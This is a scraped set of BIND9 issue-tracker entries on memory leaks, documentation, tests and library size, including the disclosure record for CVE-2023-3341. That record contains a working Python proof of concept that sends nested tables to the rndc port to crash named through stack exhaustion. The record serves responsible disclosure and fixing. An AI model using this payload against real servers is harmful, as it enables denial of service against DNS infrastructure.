which relates to 1):
~~~.c
status = EVP_PKEY_fromdata(
ctx, retpkey, private ? EVP_PKEY_KEYPAIR : EVP_PKEY_PUBLIC_KEY,
params);
if (status != 1) {
DST_RET(dst__openssl_toresult2("EVP_PKEY_fromdata",
DST_R_OPENSSLFAILURE));
}
ret = ISC_R_SUCCESS;
~~~
When tracing the library via eg valgrind these leaks do not show due
to 2) and 3).
For the following trace there does not seem to be any cleanup and therefore should
be a memory leak when the code path is triggered repeatedly maybe even an OOM situation
(which I assume would be hard to trigger since not much memory is allocated for
each error queue entry)
~~~
==137103== 16 bytes in 1 blocks are still reachable in loss record 33 of 718
==137103== at 0x48407B4: malloc (vg_replace_malloc.c:381)
==137103== by 0x4B4A6A9: mallocx (jemalloc_shim.h:65)
==137103== by 0x4B4A858: mem_get (mem.c:304)
==137103== by 0x4B4BF3A: isc__mem_allocate (mem.c:785)
==137103== by 0x4B5FB11: isc__tls_malloc_ex (tls.c:129)
==137103== by 0x54F1AF5: CRYPTO_strdup (in /usr/lib/x86_64-linux-gnu/libcrypto.so.3)
==137103== by 0x54A8167: ERR_set_debug (in /usr/lib/x86_64-linux-gnu/libcrypto.so.3)
==137103== by 0x53AFACC: ASN1_get_object (in /usr/lib/x86_64-linux-gnu/libcrypto.so.3)
==137103== by 0x53A9040: d2i_ASN1_OBJECT (in /usr/lib/x86_64-linux-gnu/libcrypto.so.3)
==137103== by 0x4950D55: check_private (rdata.c:624)
==137103== by 0x49865A5: fromwire_rrsig (rrsig_46.c:345)
==137103== by 0x49ADF93: dns_rdata_fromwire (rdata.c:824)
~~~September 2023 (9.16.44, 9.16.44-S1, 9.18.19, 9.18.19-S1, 9.19.17)https://gitlab.isc.org/isc-projects/bind9/-/issues/4158investigate performance impact of huge pages2023-06-27T07:27:35ZPetr Špačekpspacek@isc.orginvestigate performance impact of huge pages- We do lots and lots of allocation.
- jemalloc supports huge pages to limit metadata overhead and TLB misses
- that together with tuning sysctl `vm.nr_hugepages` can be interesting.
Reading:
https://access.redhat.com/documentation/en-u...- We do lots and lots of allocation.
- jemalloc supports huge pages to limit metadata overhead and TLB misses
- that together with tuning sysctl `vm.nr_hugepages` can be interesting.
Reading:
https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/monitoring_and_managing_system_status_and_performance/configuring-huge-pages_monitoring-and-managing-system-status-and-performanceLong-termhttps://gitlab.isc.org/isc-projects/bind9/-/issues/4156Document that 'rndc reconfig' will regenerate ephemeral TLS keys (whilst not ...2024-03-07T22:42:10ZCathy AlmondDocument that 'rndc reconfig' will regenerate ephemeral TLS keys (whilst not recreating sockets and listeners entirely)### Summary
There's nowhere in the 9.18 ARM where it is documented what happens to TLS listening sockets when `rndc reconfig` is applied to a running server. Per engineering, a reconfig does recreate TLS contexts (as the certs/keys cou...### Summary
There's nowhere in the 9.18 ARM where it is documented what happens to TLS listening sockets when `rndc reconfig` is applied to a running server. Per engineering, a reconfig does recreate TLS contexts (as the certs/keys could have changed on disk). Thus, all ephemeral data provided for us by OpenSSL is changed.
### BIND version used
BIND 9.18+
### Steps to reproduce
N/A (just search the ARM...)
### What is the current *bug* behavior?
What happens is not documented anywhere.
### What is the expected *correct* behavior?
Please document this. I would suggest as an addendum here to this paragraph:
> There are two built-in TLS connection configurations: ephemeral, uses a temporary key and certificate created for the
> current named session only, and none, which can be used when setting up an HTTP listener with no encryption.
### Relevant configuration files
N/A
### Relevant logs and/or screenshots
N/A
### Possible fixes
See aboveMarch 2024 (9.16.49, 9.16.49-S1, 9.18.25, 9.18.25-S1, 9.19.22)Artem BoldarievArtem Boldarievhttps://gitlab.isc.org/isc-projects/bind9/-/issues/4154Restore the ability to read old HMAC-MD5 key pair files.2023-06-29T20:05:02ZMark AndrewsRestore the ability to read old HMAC-MD5 key pair files.Reading of `K*+157+*` HMAC-MD5 files was accidentally broke when TSIG algorithm numbers where consolidated.
Also add deprecated warning when these files are use
See #3668 for detailsReading of `K*+157+*` HMAC-MD5 files was accidentally broke when TSIG algorithm numbers where consolidated.
Also add deprecated warning when these files are use
See #3668 for detailsJuly 2023 (9.18.17, 9.18.17-S1, 9.19.15)Mark AndrewsMark Andrewshttps://gitlab.isc.org/isc-projects/bind9/-/issues/4153Run system tests in network namespaces2023-12-14T15:27:50ZTom KrizekRun system tests in network namespacesExecuting system tests under pytest should support isolation using network namespaces on platforms where it's possible. It would simplify running the tests (no root setup required), prevent any network interference, remove weird quirks w...Executing system tests under pytest should support isolation using network namespaces on platforms where it's possible. It would simplify running the tests (no root setup required), prevent any network interference, remove weird quirks with port assignment and make it easier to capture relevant traffic into PCAP.Not plannedTom KrizekTom Krizekhttps://gitlab.isc.org/isc-projects/bind9/-/issues/4152[CVE-2023-3341] A stack exhaustion flaw in control channel code may cause nam...2023-10-23T13:13:16ZEric Sesterhenn[CVE-2023-3341] A stack exhaustion flaw in control channel code may cause named to terminate unexpectedly| Quick Links | :link: |
| ------------------------ | ------------------------------------------------------ |
| Incident Manager: | @mnowak ...| Quick Links | :link: |
| ------------------------ | ------------------------------------------------------ |
| Incident Manager: | @mnowak |
| Deputy Incident Manager: | @ebf |
| Public Disclosure Date: | 2023-09-20 |
| CVSS Score: | [7.5][cvss_score] |
| Security Advisory: | isc-private/printing-press!63 |
| Mattermost Channel: | [cve-2023-3341-stack-exhaustion-in-cc][mattermost_url] |
| Support Ticket: | N/A |
| Release Checklist: | #4289 |
| Post-mortem Etherpad: | [postmortem-2023-09][postmortem_url] |
[cvss_score]: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H&version=3.1
[mattermost_url]: https://mattermost.isc.org/isc/channels/cve-2023-3341-stack-exhaustion-in-cc
[postmortem_url]: https://pad.isc.org/p/postmortem-2023-09
:bulb: **Click [here][checklist_explanations] (internal resource) for general information about the security incident handling process.**
[checklist_explanations]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations
### Earlier Than T-5
- [x] [:link:][step_deputy] **(IM)** Pick a Deputy Incident Manager
- [x] [:link:][step_respond] **(IM)** Respond to the bug reporter
- [x] [:link:][step_etherpad] **(IM)** Create an Etherpad for post-mortem
- [x] [:link:][step_public_mrs] **(SwEng)** Ensure there are no public merge requests which inadvertently disclose the issue
- [x] [:link:][step_assign_cve_id] **(IM)** Assign a CVE identifier
- [x] [:link:][step_note_cve_info] **(SwEng)** Update this issue with the assigned CVE identifier and the CVSS score
- [x] [:link:][step_versions_affected] **(SwEng)** Determine the range of product versions affected (including the Subscription Edition)
- [x] [:link:][step_workarounds] **(SwEng)** Determine whether workarounds for the problem exist
- [x] [:link:][step_coordinate] **(SwEng)** If necessary, coordinate with other parties
- [x] [:link:][step_earliest] **(Support)** Prepare and send out "earliest" notifications
- [x] [:link:][step_advisory_mr] **(Support)** Create a merge request for the Security Advisory and include all readily available information in it
- [x] [:link:][step_reproducer_mr] **(SwEng)** Prepare a private merge request containing a system test reproducing the problem
- [x] [:link:][step_notify_support] **(SwEng)** Notify Support when a reproducer is ready
- [x] [:link:][step_code_analysis] **(SwEng)** Prepare a detailed explanation of the code flow triggering the problem
- [x] [:link:][step_fix_mr] **(SwEng)** Prepare a private merge request with the fix
- [x] [:link:][step_review_fix] **(SwEng)** Ensure the merge request with the fix is reviewed and has no outstanding discussions
- [x] [:link:][step_review_docs] **(Support)** Review the documentation changes introduced by the merge request with the fix
- [x] [:link:][step_backports] **(SwEng)** Prepare backports of the merge request addressing the problem for all affected (and still maintained) branches of a given product
- [x] [:link:][step_finish_advisory] **(Support)** Finish preparing the Security Advisory
- [x] [:link:][step_meta_issue] **(QA)** [Create (or update) the private issue containing links to fixes & reproducers for all CVEs fixed in a given release cycle](isc-private/bind9#70)
- [x] [:link:][step_changes] **(QA)** (BIND 9 only) Reserve a block of `CHANGES` placeholders once the complete set of vulnerabilities fixed in a given release cycle is determined
- [x] [:link:][step_merge_fixes] **(QA)** Merge the CVE fixes in CVE identifier order
- [x] [:link:][step_patches] **(QA)** Prepare a standalone patch for the last stable release of each affected (and still maintained) product branch
- [x] [:link:][step_asn_releases] **(QA)** Prepare ASN releases (as outlined in the Release Checklist)
### At T-5
- [x] [:link:][step_send_asn] **(Support)** Send ASN to eligible customers
- [x] [:link:][step_preannouncement] **(Support)** [(BIND 9 only) Send a pre-announcement email to the *bind-announce* mailing list to alert users that the upcoming release will include security fixes](isc-private/printing-press!67)
### At T-4
- [x] [:link:][step_verify_asn] **(Support)** [Verify that all ASN-eligible customers have received the notification email](https://mattermost.isc.org/isc/pl/384wo14bmprm3yhfcbyjrmdz5r)
### At T-1
- [x] [:link:][step_check_customers] **(Support)** [Verify that any new or reinstated customers have received the notification email](https://mattermost.isc.org/isc/pl/384wo14bmprm3yhfcbyjrmdz5r)
- [x] [:link:][step_packager_emails] **(First IM)** [Send notifications to OS packagers](isc-private/printing-press!68)
### On the Day of Public Disclosure
- [x] [:link:][step_clearance] **(IM)** [Grant Support clearance to proceed with public release](https://mattermost.isc.org/isc/pl/gmwfuciy13yrzrk4wreg6bt7hy)
- [x] [:link:][step_publish] **(Support)** Publish the releases (as outlined in the release checklist)
- [x] [:link:][step_matrix] **(Support)** (BIND 9 only) Update vulnerability matrix in the Knowledge Base
- [x] [:link:][step_publish_advisory] **(Support)** [Bump Document Version for the Security Advisory and publish it in the Knowledge Base](https://kb.isc.org/docs/cve-2023-3341)
- [x] [:link:][step_notifications] **(First IM)** [Send notification emails to third parties](isc-private/printing-press!70)
- [x] [:link:][step_mitre] **(First IM)** [Advise MITRE about the disclosed CVEs](https://gitlab.isc.org/isc-private/printing-press/-/merge_requests/63#note_403629)
- [x] [:link:][step_merge_advisory] **(First IM)** Merge the Security Advisory merge request
- [x] [:link:][step_embargo_end] **(IM)** [Inform original reporter (if external) that the security disclosure process is complete](#note_403645)
- [x] [:link:][step_customers] **(Support)** Inform customers a fix has been released
### After Public Disclosure
- [x] [:link:][step_postmortem] **(First IM)** Organize post-mortem meeting and make sure it happens
- [x] [:link:][step_tickets] **(Support)** Close support tickets
- [x] [:link:][step_regression] **(QA)** Merge a regression test reproducing the bug into all affected (and still maintained) branches
[step_deputy]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#pick-a-deputy-incident-manager
[step_respond]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#respond-to-the-bug-reporter
[step_etherpad]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#create-an-etherpad-for-post-mortem
[step_public_mrs]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#ensure-there-are-no-public-merge-requests-which-inadvertently-disclose-the-issue
[step_assign_cve_id]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#assign-a-cve-identifier
[step_note_cve_info]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#update-this-issue-with-the-assigned-cve-identifier-and-the-cvss-score
[step_versions_affected]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#determine-the-range-of-product-versions-affected-including-the-subscription-edition
[step_workarounds]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#determine-whether-workarounds-for-the-problem-exist
[step_coordinate]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#if-necessary-coordinate-with-other-parties
[step_earliest]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#prepare-and-send-out-earliest-notifications
[step_advisory_mr]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#create-a-merge-request-for-the-security-advisory-and-include-all-readily-available-information-in-it
[step_reproducer_mr]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#prepare-a-private-merge-request-containing-a-system-test-reproducing-the-problem
[step_notify_support]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#notify-support-when-a-reproducer-is-ready
[step_code_analysis]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#prepare-a-detailed-explanation-of-the-code-flow-triggering-the-problem
[step_fix_mr]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#prepare-a-private-merge-request-with-the-fix
[step_review_fix]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#ensure-the-merge-request-with-the-fix-is-reviewed-and-has-no-outstanding-discussions
[step_review_docs]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#review-the-documentation-changes-introduced-by-the-merge-request-with-the-fix
[step_backports]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#prepare-backports-of-the-merge-request-addressing-the-problem-for-all-affected-and-still-maintained-branches-of-a-given-product
[step_finish_advisory]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#finish-preparing-the-security-advisory
[step_meta_issue]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#create-or-update-the-private-issue-containing-links-to-fixes-reproducers-for-all-cves-fixed-in-a-given-release-cycle
[step_changes]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#bind-9-only-reserve-a-block-of-changes-placeholders-once-the-complete-set-of-vulnerabilities-fixed-in-a-given-release-cycle-is-determined
[step_merge_fixes]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#merge-the-cve-fixes-in-cve-identifier-order
[step_patches]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#prepare-a-standalone-patch-for-the-last-stable-release-of-each-affected-and-still-maintained-product-branch
[step_asn_releases]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#prepare-asn-releases-as-outlined-in-the-release-checklist
[step_send_asn]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#send-asn-to-eligible-customers
[step_preannouncement]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#bind-9-only-send-a-pre-announcement-email-to-the-bind-announce-mailing-list-to-alert-users-that-the-upcoming-release-will-include-security-fixes
[step_verify_asn]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#verify-that-all-asn-eligible-customers-have-received-the-notification-email
[step_check_customers]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#verify-that-any-new-or-reinstated-customers-have-received-the-notification-email
[step_packager_emails]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#send-notifications-to-os-packagers
[step_clearance]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#grant-support-clearance-to-proceed-with-public-release
[step_publish]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#publish-the-releases-as-outlined-in-the-release-checklist
[step_matrix]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#bind-9-only-update-vulnerability-matrix-in-the-knowledge-base
[step_publish_advisory]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#bump-document-version-for-the-security-advisory-and-publish-it-in-the-knowledge-base
[step_notifications]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#send-notification-emails-to-third-parties
[step_mitre]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#advise-mitre-about-the-disclosed-cves
[step_merge_advisory]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#merge-the-security-advisory-merge-request
[step_embargo_end]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#inform-original-reporter-if-external-that-the-security-disclosure-process-is-complete
[step_customers]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#inform-customers-a-fix-has-been-released
[step_postmortem]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#organize-post-mortem-meeting-and-make-sure-it-happens
[step_tickets]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#close-support-tickets
[step_regression]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#merge-a-regression-test-reproducing-the-bug-into-all-affected-and-still-maintained-branches
---
The command channel library libisccc used by BIND parses the full TCP packet before performing the actual authentication. The packet is structured into binary data, tables and lists. By structuring the packet in a malicious way, repeated recursive calls to `value_fromwire()` and `table_fromwire()` can be triggered.
~~~
static isc_result_t
value_fromwire(isccc_region_t *source, isccc_sexpr_t **valuep) {
unsigned int msgtype;
uint32_t len;
isccc_sexpr_t *value;
isccc_region_t active;
isc_result_t result;
if (REGION_SIZE(*source) < 1 + 4) {
return (ISC_R_UNEXPECTEDEND);
}
GET8(msgtype, source->rstart);
GET32(len, source->rstart);
if (REGION_SIZE(*source) < len) {
return (ISC_R_UNEXPECTEDEND);
}
active.rstart = source->rstart;
active.rend = active.rstart + len;
source->rstart = active.rend;
if (msgtype == ISCCC_CCMSGTYPE_BINARYDATA) {
value = isccc_sexpr_frombinary(&active);
if (value != NULL) {
*valuep = value;
result = ISC_R_SUCCESS;
} else {
result = ISC_R_NOMEMORY;
}
} else if (msgtype == ISCCC_CCMSGTYPE_TABLE) {
result = table_fromwire(&active, NULL, 0, valuep);
} else if (msgtype == ISCCC_CCMSGTYPE_LIST) {
result = list_fromwire(&active, valuep);
} else {
result = ISCCC_R_SYNTAX;
}
return (result);
}
static isc_result_t
table_fromwire(isccc_region_t *source, isccc_region_t *secret,
uint32_t algorithm, isccc_sexpr_t **alistp) {
char key[256];
uint32_t len;
isc_result_t result;
isccc_sexpr_t *alist, *value;
bool first_tag;
unsigned char *checksum_rstart;
REQUIRE(alistp != NULL && *alistp == NULL);
checksum_rstart = NULL;
first_tag = true;
alist = isccc_alist_create();
if (alist == NULL) {
return (ISC_R_NOMEMORY);
}
while (!REGION_EMPTY(*source)) {
GET8(len, source->rstart);
if (REGION_SIZE(*source) < len) {
result = ISC_R_UNEXPECTEDEND;
goto bad;
}
GET_MEM(key, len, source->rstart);
key[len] = '\0'; /* Ensure NUL termination. */
value = NULL;
result = value_fromwire(source, &value);
if (result != ISC_R_SUCCESS) {
goto bad;
}
...
~~~
On my test machine each iteration between two calls to `table_fromwire()` required 432 bytes of
stack memory. If enough calls can be triggered, this might lead to exhaustion of the available
stack memory and causing a segmentation fault. The amount of iterative calls is limited by the
parameter to `isccc_ccmsg_setmaxsize()` which is 32768 in case of BIND named. This is not enough
to exhaust the 8MB of process stack usually configured on Linux systems, ~~but poses an issue on
FreeBSD (stack size of 65536 set via ulimit)~~ (see https://gitlab.isc.org/isc-projects/bind9/-/issues/4152#note_383112) and MS Windows systems (stack size of 1MB by
default). Other systems where ulimit is used to restrict stack usage are affected as well.
It was tested with the debug build of the latest 9 BIND9 version that supports windows:
~~~
Unhandled exception at 0x00007FFCB43676C0 (libisccc.dll) in named.exe: 0xC00000FD: Stack overflow
, (parameters: 0x0000000000000001, 0x000000F149503F10).
~~~
The issue can be triggered by sending the maliciously formatted data to the rdnc port:
~~~
import socket
HOST = "127.0.0.1"
PORT = 953
depth = 4500
# should not be more than isccc_ccmsg_setmaxsize(&conn->ccmsg, 32768);
total_len = 10 + (depth * 7) - 6
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
data = b''.join([
total_len.to_bytes(4, 'big'), # <total lenght>
b'\x00\x00\x00\x01', # <version>
b'\x01\x41', # <size><name>
])
for i in range(depth, 0, -1):
l = (i - 1) * 7
t = b''.join([
b'\x02', # ISCCC_CCMSGTYPE_TABLE
l.to_bytes(4, 'big'), # <size>
b'\x01\x41', # <size><name>
])
data = b''.join([data, t])
s.connect((HOST, PORT))
s.sendall(data)
~~~
Usually \ac{TCP} port 953 should not be reachable to untrusted parties
due to firewalling and the BIND9 configuration, but since authentication is performed as well, this might not always be the case.September 2023 (9.16.44, 9.16.44-S1, 9.18.19, 9.18.19-S1, 9.19.17)Michał KępieńMichał Kępieńhttps://gitlab.isc.org/isc-projects/bind9/-/issues/4151Add warning to BIND relnotes/documentation for 9.19.6 and 9.18.8 and newer - ...2023-07-04T12:51:42ZCathy AlmondAdd warning to BIND relnotes/documentation for 9.19.6 and 9.18.8 and newer - incompatible key files using HMAC-MD5 when upgrading### Summary
There is a surprise problem with old key files when upgrading to a version of BIND that includes feature #3541. That is, from something older to 9.18.8 or 9.16.34 or newer. Full details of the problem can be found in #3668...### Summary
There is a surprise problem with old key files when upgrading to a version of BIND that includes feature #3541. That is, from something older to 9.18.8 or 9.16.34 or newer. Full details of the problem can be found in #3668. This is a request to add an appropriate warning, somewhere ...
### BIND version used
N/AJuly 2023 (9.18.17, 9.18.17-S1, 9.19.15)https://gitlab.isc.org/isc-projects/bind9/-/issues/4150TSAN reports parser script issue2023-06-15T14:21:17ZArаm SаrgsyаnTSAN reports parser script issueThe `util/parse_tsan.py` script has an issue when translating the original mutex identifiers into new sequential identifiers.
For example, the `Cycle in lock order graph: M0 (0x7b2000014a20) => M1 (0x7b5400041be0) => M2 (0x7b2400024c78)...The `util/parse_tsan.py` script has an issue when translating the original mutex identifiers into new sequential identifiers.
For example, the `Cycle in lock order graph: M0 (0x7b2000014a20) => M1 (0x7b5400041be0) => M2 (0x7b2400024c78) => M3 (0x7b7c00003808) => M0` line is converted to `Cycle in lock order graph: M4 (0x000000000001) => M4 (0x000000000002) => M4 (0x000000000003) => M4 (0x000000000004) => M4`.
Quoting @michal:
>take a line like this:
>
>`Cycle in lock order graph: M0 (0x7b2000014a20) => M1 (0x7b5400041be0) => M2 (0x7b2400024c78) => M3 (0x7b7c00003808) => M0`
>
>what the code does is it creates a table of "mutex identifier translations":
>
>```
>"M0" => 1
>"M1" => 2
>"M2" => 3
>"M3" => 4
>```
>
>and then sequentially replaces all occurrences of "M0" with "M1", all occurrences of "M1" with "M2" etc.
>
>but the "target identifiers" already exist, so if the mutex numbers increase sequentially, after iterating through the entire table it will end up with all mutexes being known as "M4"July 2023 (9.18.17, 9.18.17-S1, 9.19.15)Michał KępieńMichał Kępieńhttps://gitlab.isc.org/isc-projects/bind9/-/issues/4149huge waste of space in lib/isc/result.c leading to large libisc.so2023-06-20T14:10:21ZAndreas Kinzlerhuge waste of space in lib/isc/result.c leading to large libisc.sowhen switching to bind9 9.18 on my Gentoo systems I was wondering about the huge increase in *.so sizes. I tracked the problem down to very inefficient space usage in lib/isc/result.c. The compiled object file is >5MB just because of the...when switching to bind9 9.18 on my Gentoo systems I was wondering about the huge increase in *.so sizes. I tracked the problem down to very inefficient space usage in lib/isc/result.c. The compiled object file is >5MB just because of the 2 lookup tables. I converted the file back to switch/case and the final solib libisc-9.18.15.so went down to <600 KB from over 5800 KB.July 2023 (9.18.17, 9.18.17-S1, 9.19.15)